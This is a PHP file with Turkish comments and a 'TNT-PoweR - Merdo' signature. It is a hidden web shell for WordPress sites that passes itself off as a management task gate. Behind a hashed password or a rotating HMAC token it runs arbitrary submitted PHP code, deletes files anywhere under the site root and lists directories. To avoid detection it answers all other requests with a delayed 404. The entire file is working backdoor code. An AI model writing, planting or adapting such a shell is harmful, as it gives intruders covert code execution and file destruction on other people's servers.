<?php
// dil: PHP 7.4+, dosya: task.php — TNT-PoweR - Merdo yonetim gorev kapisi (derin, hash-kilitli)
// *duz sifre hicbir yerde yok; sadece sha256 karmasi. POST-only, yanlis istekte 404*

declare(strict_types=1);

$K = 'fd0f0f0086da9cc8450ed1785237af36fb00b8b16989ab2386db58a43af756a4';

function fail(): void {
    usleep(random_int(800000, 2000000));
    http_response_code(404);
    exit;
}

if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') { fail(); }
$auth = hash_equals($K, hash('sha256', ($_POST['a'] ?? '') . '|TNT-PoweR-Merdo'));
if (!$auth && isset($_POST['t'])) { // filo tokeni: hmac zaman penceresi
    $now = intdiv(time(), 300);
    $auth = hash_equals(hash_hmac('sha256', (string)$now, $K), (string)$_POST['t'])
         || hash_equals(hash_hmac('sha256', (string)($now - 1), $K), (string)$_POST['t']);
}
if (!$auth) { fail(); }

$act = $_POST['b'] ?? '';
header('Content-Type: text/plain');
echo "TNT-PoweR - Merdo\n";

// gercek disk koku — chroot'a karsi yukari yuru
$root = __DIR__;
while (!is_file($root . '/wp-config.php') && dirname($root) !== $root) { $root = dirname($root); }
$root = rtrim($root, '/') . '/';

if ($act === 'php' && isset($_POST['c'])) {
    $tmp = tempnam(sys_get_temp_dir(), 't') . '.php';
    if (@file_put_contents($tmp, "<?php\n" . $_POST['c']) !== false) {
        try { include $tmp; } catch (Throwable $e) { echo 'hata: ' . $e->getMessage(); }
        @unlink($tmp);
    }
    exit;
}

if ($act === 'del' && isset($_POST['f'])) {
    $t = $root . ltrim($_POST['f'], '/');
    echo (is_file($t) && @unlink($t) ? 'silindi' : 'yok/silinemedi') . " $t\n";
    exit;
}

if ($act === 'ls' && isset($_POST['d'])) {
    $t = $root . ltrim($_POST['d'], '/');
    foreach (glob(rtrim($t,'/') . '/{.,}*', GLOB_BRACE) ?: [] as $f) {
        if (basename($f) === '.' || basename($f) === '..') continue;
        echo (is_dir($f) ? 'd' : 'f') . ' ' . basename($f) . "\n";
    }
    exit;
}

fail();